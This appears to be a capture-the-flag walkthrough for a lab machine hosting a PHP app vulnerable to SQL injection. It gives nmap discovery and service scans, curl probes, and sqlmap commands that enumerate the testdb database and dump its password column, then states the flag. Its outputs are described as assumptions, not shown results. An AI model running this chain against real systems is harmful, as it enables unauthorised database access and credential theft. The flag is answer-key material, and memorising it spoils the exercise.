Detailed Steps to Solve the Machine

Machine Information

- **Macro**: WS
- **Type**: SQL Injection
- **Description**: The machine hosts a vulnerable PHP application susceptible to SQL injection via a POST parameter. The application fails to sanitize user input, allowing attackers to manipulate SQL queries and extract sensitive data from the database. The flag is retrieved by exploiting this vulnerability to dump the password column from the players table in the testdb database.
- **Objective**: Retrieve the flag by exploiting SQL injection to access sensitive data in the testdb database.

Step-by-Step Process

Step 1: Network Discovery with Nmap

- **Command**: nmap -sn 192.168.2.0/24
- **Description**:
    - **Purpose**: Perform a ping scan to identify live hosts on the 192.168.2.0/24 subnet.
    - **Details**:
        - Executed from a machine with IP 192.168.0.5.
        - nmap -sn conducts a host discovery scan without port scanning, checking which IPs in the 192.168.2.0/24 range (256 addresses) are active.
        - Identifies the target machine's IP address within the network.
    - **Assumption**: The scan reveals 192.168.2.3 as a live host, which we target in subsequent steps.
    - **Output**: A list of active IPs, including 192.168.2.3.

Step 2: Service Scanning with Nmap

- **Command**: nmap -sV 192.168.2.3
- **Description**:

    - **Purpose**: Identify open ports and services on the target machine (192.168.2.3).
    - **Details**:
        - nmap -sV performs a service version scan, detecting open ports and software versions.
        - Executed from 192.168.0.5.
        - Critical for identifying services like HTTP, implied by later curl commands.
    - **Assumption**: The scan reveals port 80 (HTTP) is open, running a PHP web application.
    - **Output**: A report listing open ports, with port 80 (HTTP) confirmed as the entry point.

Step 3: Access Web Application

- **Command**: curl http://192.168.2.3:80/index.html
- **Description**:
    - **Purpose**: Interact with the web application on port 80 to explore its functionality.
    - **Details**:
        - Executed from 192.168.0.5.
        - Sends an HTTP GET request to the root endpoint (index.html).
    - **Assumption**: The response indicates a PHP application with a POST endpoint (app.php), suggesting potential for SQL injection vulnerabilities.
    - **Output**: HTML or text describing the web application, likely referencing app.php.

Step 4: Test POST Endpoint

- **Command**: curl -X POST -d 'username=test' http://192.168.2.3/app.php
- **Description**:
    - **Purpose**: Test the functionality of the POST endpoint to understand its behavior and identify potential vulnerabilities.

  - **Details**:
    - Sends a POST request with the parameter username=test.
    - Executed from 192.168.0.5.
  - **Assumption**: The response suggests the application processes the username parameter in a backend SQL query, indicating a potential SQL injection point.
  - **Output**: A response from the application, possibly a login failure or generic message, confirming the endpoint's activity.

Step 5: Initial SQL Injection Test with sqlmap

- **Command**: sqlmap -u 'http://192.168.2.3:80/app.php' --data='username=test' --method=POST --dbs
- **Description**:
  - **Purpose**: Use sqlmap to test the POST parameter for SQL injection and enumerate available databases.
  - **Details**:
    - Executed from 192.168.0.5.
    - sqlmap targets the username parameter in the POST request to app.php.
    - --dbs enumerates the database names accessible via the injection point.
  - **Assumption**: The tool confirms SQL injection vulnerability and identifies a database named testdb.
  - **Output**: A list of databases, including testdb.

Step 6: Enumerate Tables in testdb

- **Command**: sqlmap -u 'http://192.168.2.3:80/app.php' --data='username=test' --method=POST -D testdb --tables
- **Description**:
  - **Purpose**: Identify tables within the testdb database.
  - **Details**:

        - Targets the testdb database with the same injection point.
        - --tables lists all tables in the specified database.
    - **Assumption**: The output reveals a table named players.
    - **Output**: A list of tables, including players.

Step 7: Enumerate Columns in players Table

- **Command**: sqlmap -u 'http://192.168.2.3:80/app.php' --data='username=test' --method=POST -D testdb -T players --columns
- **Description**:
    - **Purpose**: Identify the columns in the players table to locate sensitive data.
    - **Details**:
        - Targets the players table in testdb.
        - --columns enumerates the column names.
    - **Assumption**: The output includes a column named password, likely containing the flag.
    - **Output**: A list of columns, including password.

Step 8: Dump the Password Column

- **Command**: sqlmap -u 'http://192.168.2.3:80/app.php' --data='username=test' --method=POST -D testdb -T players -C password --dump
- **Description**:
    - **Purpose**: Extract the contents of the password column from the players table.
    - **Details**:
        - Dumps the data in the password column.
        - Executed from 192.168.0.5.
    - **Assumption**: The dumped data contains the flag N9jDc1k2w6N6qLJ0.
    - **Output**: The flag: N9jDc1k2w6N6qLJ0.

Final Answer

- **Flag**: N9jDc1k2w6N6qLJ0